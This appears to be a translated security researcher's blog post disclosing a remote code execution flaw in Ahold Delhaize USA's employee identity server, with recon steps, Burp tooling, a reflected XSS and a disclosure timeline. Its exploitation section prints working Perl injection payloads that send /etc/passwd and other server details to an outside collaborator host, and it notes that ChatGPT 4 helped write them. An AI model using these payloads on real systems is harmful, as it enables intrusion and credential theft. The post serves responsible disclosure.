Ahold Delhaize USA远程代码执行漏洞分析:长达18年的身份管理系统沦陷

本文详细披露了Ahold Delhaize USA身份管理系统中的严重安全漏洞,攻击者可在ws1.aholdusa.com服务器上实现远程代码执行,该漏洞可能已存在18年,导致员工凭证长期面临泄露风险。

背景

Ahold Delhaize自称是全球最大的食品零售集团之一,每周服务6000万客户,拥有150年历史,员工超过41.4万人。该公司声称是超市和电子商务领域的领导者,并在2020年因支持网络安全透明度而获奖。他们鼓励人们分享安全见解,今天我们就来实践这一理念!

正如一些人所知,我喜欢攻击日常生活中使用的公司,而Ahold Delhaize作为Bol.com和Albert Heijn的所有者,是一个很好的目标。此外,他们拥有负责任的披露政策,我们可以安全地进行研究,并在问题修复后负责任地披露。最重要的是,我们甚至可能登上他们的名人墙;-)。

名人墙截图

过去报告一些漏洞后,我成功登上了名人墙。

讨论

通常我会将报告讨论部分放在文章底部,但今天不同。因为这个严重的CVSS 10分漏洞在报告后超过3.5年仍未修复。我强烈怀疑这个漏洞自2005年就存在,这使得他们的员工凭证面临泄露风险。由于人们经常重复使用密码,应该告知他们这一潜在泄露。

本文描述的漏洞于2020年4月23日发现,同一天被Ahold安全团队确认。我错误地认为确认后会立即修复,这是一个惨痛教训:总是在一个月后自行检查修复情况,并尝试通过电子邮件跟踪所有报告的漏洞。

2023年11月2日(超过3.5年后),我收到一封电子邮件,声称漏洞已修复。但令我惊讶的是,2023年11月9日发现它并未修复,仍然存在漏洞。

这次我正确利用了该漏洞,并从服务器中窃取了/etc/passwd文件作为概念证明。您将在下面详细阅读相关内容。

然而,整个服务器应被认为至少3.5年(甚至18年?)已遭入侵。任何人都可以在服务器上执行任何代码,无需身份验证且易于发现。

易受攻击的服务器充当中央身份提供商,允许用户登录和重置密码,支持不同的Ahold公司,如帮助页面所示。这很不妙。

用户类型示例 使用此服务器的用户类型示例;配送中心用户和门店用户。

侦察

好了,介绍够了,是时候开始攻击了!

在攻击公司时,我们总是尝试找到最有趣和最薄弱的资产。我们希望用漏洞获得最大收益。

顺便说一句,今天我们不为了赚钱而攻击,因为Ahold最高奖励300欧元的礼品卡(相比之下,像Shopify这样的公司为RCE漏洞奖励高达20万美元),所以今天我们这样做只是为了让互联网更安全一些。

对于Ahold Delhaize这样规模的公司来说,建立适当的身份管理系统是一个巨大的挑战。他们不断收购公司,可能需要与旧的遗留系统合作。这些系统管理所有员工的用户名、密码和访问级别。

如果您入侵了这样的服务器,游戏就结束了,因为您可以使用它来执行横向攻击并在不同的公司资产上冒充其他用户。

所以让我们寻找这些资产。

一个好的开始是尝试找出员工登录的位置。让我为您谷歌一下。

谷歌搜索结果 有趣的是,https://ws1.aholdusa.com/ 用于美国员工登录。

快速浏览网页设计给我们90年代的感觉,作为安全研究人员,我们喜欢这种感觉,因为它闻起来像遗留代码,因此存在安全问题的可能性很高。

网页设计

快速查找显示此服务器的另一个名称是:ldap-ws-vip.aholdusa.com。

LDAP,或轻量级目录访问协议,是一种用于通过IP网络访问和维护分布式目录信息服务的协议。它通常用于组织和定位网络中的不同项目,如用户、组、设备和权限,使其成为许多组织IT基础设施的核心部分。

LDAP-WS-VIP.aholdusa.com 是服务器的CNAME。

由于我们想要发现此LDAP服务器上所有有趣的端点(URL),我们需要确保捕获不再主动链接的旧遗留端点。

一个很好的工具是TomNomNom制作的 https://github.com/tomnomnom/waybackurls

该工具 literally 抓取所有archive.org曾经索引的提供域的数据,并显示它能找到的所有URL/端点。这会导致很多噪音(也会显示图像和其他文件),但是当您按特定单词过滤列表时,可以快速获得良好结果。

Waybackurls结果 仅显示URL中包含cgi-bin的结果(90年代喜欢cgi-bin)并排序。

这些命中看起来像Perl,一种过去用于创建网站的编程语言,90年代的产物!扩展名.pl给了我们线索。

访问页面时,我们看到一些可以提交的表单。

有趣端点 一个有趣的端点。请注意最后更改:2005年12月15日,所以不是90年代而是00年代;-) 这个漏洞是否自2005年就存在?如果是,如何在渗透测试中错过了这一点?

Archive.org索引 Archive.org在2007年左右首次索引此页面。

发现服务器端模板注入漏洞

下一步是在Burp浏览器中打开此页面,以便我们可以捕获所有浏览器流量。

Burp浏览器

提交表单时发出此请求。

我经常做的一件事是寻找改变响应中实际输出的参数。这可能轻易导致XSS和其他类型的漏洞。一个简单的方法是使用Burp Intruder或Param Miner。

今天我们使用Burp Intruder,我们将请求发送到Intruder(在请求窗口中右键单击,发送到intruder)。向POST正文添加一个新的模拟参数,添加一些随机值,选择参数名称作为注入有效负载的位置,并将有效负载列表设置为Form fields names - Long。

设置注入位置

设置注入位置。

添加列表

从列表添加,然后开始攻击。

攻击结果

我们看到我们的值反映在源代码中,我们有反射型XSS!

我们可以通过按长度排序快速浏览响应列表,这使我们能够查看页面是否比正常情况长/短。正常长度是7095,所以任何其他长度都很有趣。其中一个命中是Version,我们可以在源代码中看到它将我们的12345a有效负载反映为HTML!

我们可以将有效负载设置为一些XSS有效负载,并接管任何我们可以诱骗访问我们特定URL的用户的浏览器会话。一个快速的方法是创建一个好的有效负载:12345,返回Repeater并将&version=12345添加到请求中。在请求窗口中右键单击,选择Engagement Tools -> Generate CSRF PoC。

现在Burp为您创建一个工作的PoC,您可以使用它来触发漏洞,将HTML上传到某个Web服务器,诱使受害者打开该网站,漏洞就会执行。

CSRF PoC 奖励:反射型XSS概念证明

但是,如果我们能利用这个反射漏洞做更多事情呢?每当您遇到反射型XSS漏洞时,您还应该检查服务器端模板注入漏洞。这些漏洞的影响通常更高,因为它们允许您在服务器上执行代码,这反映在源代码中。

在收件箱中获取Jonathan Bouman的故事。 免费加入Medium以获取此作者的更新。 订阅 订阅

由于我们知道端点运行Perl(记住URL中的扩展名),我们现在只扫描与Perl相关的代码注入。

首先在Burp中创建一个新的Live Task,转到Dashboard并点击那个橙色按钮。

新实时任务 打开一个新的实时任务。

现在选择列表中的所有项目(Ctrl + A)并右键单击,按Enabled。这实质上禁用了它将执行的所有扫描,这是减少噪音和服务器请求的好方法。现在搜索Perl并选择Perl Code injection选项。按保存,您已准备好扫描代码注入!

活动扫描设置 活动扫描设置,仅检查Perl代码注入。

现在回到带有我们反映的version参数的repeater。现在选择我们的XSS有效负载的值并按Save。

保存端点 将端点和特定变量添加到活动扫描,以便它可以检查Perl代码注入。

现在是时候喝点咖啡(或一些好茶),看看Burp Active Scanner是否能找到代码注入漏洞。奖励:检查Burp中的Logger选项卡,了解Burp使用哪些有效负载。

记录器选项卡 砰!Burp刚刚发现了一个Perl代码注入漏洞!

所以我们现在有一个请求,通过注入有效负载{${sleep(lc(20))}}让服务器睡眠20秒。

我们可以通过将请求发送到repeater(打开Request选项卡,在请求上右键单击并发送到repeater,在repeater中重新发送请求并看到加载需要20秒)轻松确认这一点。

由于sleep(20)作为有效负载很无聊,并且对非技术人员不显示实际影响,我们需要创建一些有效负载,实际显示我们可以在服务器上执行任何代码。

这需要时间和责任(不要破坏东西并保持比例)。只需确保公司领导理解该漏洞确实是CVSS 10分,但不要通过泄露所有用户数据来做到这一点。

我经常做的是尝试证明我可以运行任何代码,并将/etc/passwd文件泄露到外部(攻击者控制)服务器。此文件不包含真实密码,但包含内部服务器信息。外部服务器可以是Burp Collaborator(或者更好的是您自己的私人Collaborator)。

经过2小时的尝试,我想出了以下泄露/etc/passwd文件的有效负载:

1
version=${exec(‘perl -MMIME::Base64 -MLWP::UserAgent -e \’my $ua %3d LWP::UserAgent->new;my $response %3d $ua->post(\”http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \”form-data\”, Content %3d> [file %3d> [\”/etc/passwd\”]]);\’’)}

让我解释一下它的作用:

  • Perl代码执行:${exec(’…’)}中的有效负载是Perl代码,经过URL编码以确保通过HTTP正确传输。如果服务器易受SSTI攻击,它会解释并执行此代码。
  • LWP::UserAgent模块:此Perl模块允许代码发出HTTP请求。my $ua = LWP::UserAgent->new;部分创建一个新的用户代理对象,能够发送HTTP POST请求。
  • 发出POST请求:$ua->post(…)函数向指定URL发送POST请求,其中包含/etc/passwd文件的内容。这是攻击者的常见目标,因为它包含用户帐户信息。

请求 请求。向客户端给出错误,但代码已执行。

泄露的/etc/passwd文件 /etc/passwd文件泄露到我们的服务器!注意非常过时的perl模块版本5.69。

有人可能认为“先生,您需要广泛的Perl知识才能做到这一点”。错了!

ChatGPT救援 ChatGPT 4来救援。

我尝试了所有这些选项,第三个(在将jo.ax.com域替换为我们的burp collaborator url后)触发了一个传入的DNS请求。解析域名通常是发现您在服务器上是否有代码执行的最快方法。只需在Burp Collaborator中监控任何传入的DNS请求!

之后,就是给ChatGPT 4正确的提示来创建实际泄露/etc/passwd文件的有效负载。

ChatGPT创建有效负载 想加快创建有效负载的速度?使用ChatGPT。

奖励有效负载

获取执行perl进程的当前linux用户(’nobody’):

1
ssn=1234&mmdd=1234&name=asdadaw&login-form-type=initial_entry&version=${exec(‘perl -MMIME::Base64 -MLWP::UserAgent -e \’my $ua %3d LWP::UserAgent->new; my $user %3d getpwuid($<);my $response %3d $ua->post(\”http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \”form-data\”, Content %3d> $user);\’’)}

显示/etc/的目录内容(一长串文件和备份文件):

1
ssn=1234&mmdd=1234&name=asdadaw&login-form-type=initial_entry&version=${exec('perl -MMIME::Base64 -MLWP::UserAgent -e \'my $ua %3d LWP::UserAgent->new;opendir(DIR,\"/etc/\");my @files %3d readdir(DIR); closedir(DIR);my $response %3d $ua->post(\"http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \"form-data\", Content %3d> join(\"\n\", @files));\'')}

结论

我们今天证明我们可以完全入侵ws1.aholdusa.com服务器,一个身份管理系统/LDAP服务器。我在3.5年前发现了这个漏洞,但它很可能自2005年12月15日就存在。

使用此服务器的所有用户/员工/客户/供应商的数据应被视为已泄露,因为我们证明了完整的远程代码执行能力,并能够建立到我们自己服务器的出站连接。

无法知道服务器是否未被恶意行为者入侵,因为这需要广泛的日志。在这种情况下,包含POST正文值的日志。在此应用程序中,您会不惜一切代价避免这种情况,因为这也会以纯文本形式泄露用户名和密码(记住受影响的端点用于用户登录)。此外,这些日志需要回溯18年才能证明此漏洞从未被利用。

时间线

  • 2020年4月23日 — 向Ahold安全团队报告漏洞,见下方电子邮件。 初始报告 初始报告(从Ahold个人姓名中删除了某些名称,我将他们放在收件人中)

  • 2020年4月23日 — Ahold确认漏洞,承诺随时通知我。 3.5年后的回复 3.5年后的回复(删除了个人姓名)。有人可能问为什么网络防御团队没有自己检查是否真的修复了。

  • 2023年11月2日 — Ahold请求我确认漏洞修复并提供已修复证明

  • 2023年11月6日 — Ahold再次发送电子邮件请求我确认漏洞已修复(我没有时间更快回复)

  • 2023年11月6日 — 回复我对漏洞为何未更快修复表示惊讶,请求相关信息,并承诺检查是否修复。 关于后续问题的请求 关于后续问题的请求,计算机说不。给公司的建议;要有人情味,使用名字,与研究人员建立关系,并解释问题出在哪里。透明度就是信任。

  • 2023年11月9日 — 确认漏洞仍然存在,创建了完整的RCE有效负载并撰写此博客。与安全团队分享。请求在30天内负责任地披露,因为可能有许多员工凭证因此漏洞而泄露。

  • 2023年11月9日 — 告知Ahold Delhaize数据保护官此报告的存在,因为这影响到大量员工。

  • 2023年11月10日 — Ahold请求我的Paypal以发送奖励。

  • 2023年11月13日 — Ahold奖励此漏洞300欧元。 赢得最大赏金 我们在Ahold赢得了最大赏金;300欧元。

  • 2023年11月13日 — 端点仍然易受攻击,通过电话联系Ahold Delhaize的隐私官分享我的担忧并请求升级此报告。

  • 2023年11月15日 — Ahold通知我端点已修复。然而经过一些测试;端点并未修复。当使用GET HTTP方法请求端点时,它仅重定向到404。漏洞利用仍然有效,因为漏洞利用使用POST HTTP方法。添加了两个新的有效负载(检查当前用户;nobody和/etc/中的文件列表)。通过电子邮件向Ahold发送了我的反馈和担忧。

  • 2023年11月17日 — 端点仍然易受攻击

  • 2023年11月20日 — Ahold通知我漏洞已解决。我确认了修复。请求披露此报告,向Ahold提供机会在报告中添加他们自己的段落。

  • 2023年11月27日 — 对披露请求无回复,发送提醒。Ahold回复需要更多时间。

  • 2023年12月7日 — 请求更新

  • 2023年12月8日 — Ahold通知我经过内部辩论,他们不想使用添加段落的机会。

  • 2023年12月14日 — 披露上述报告。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计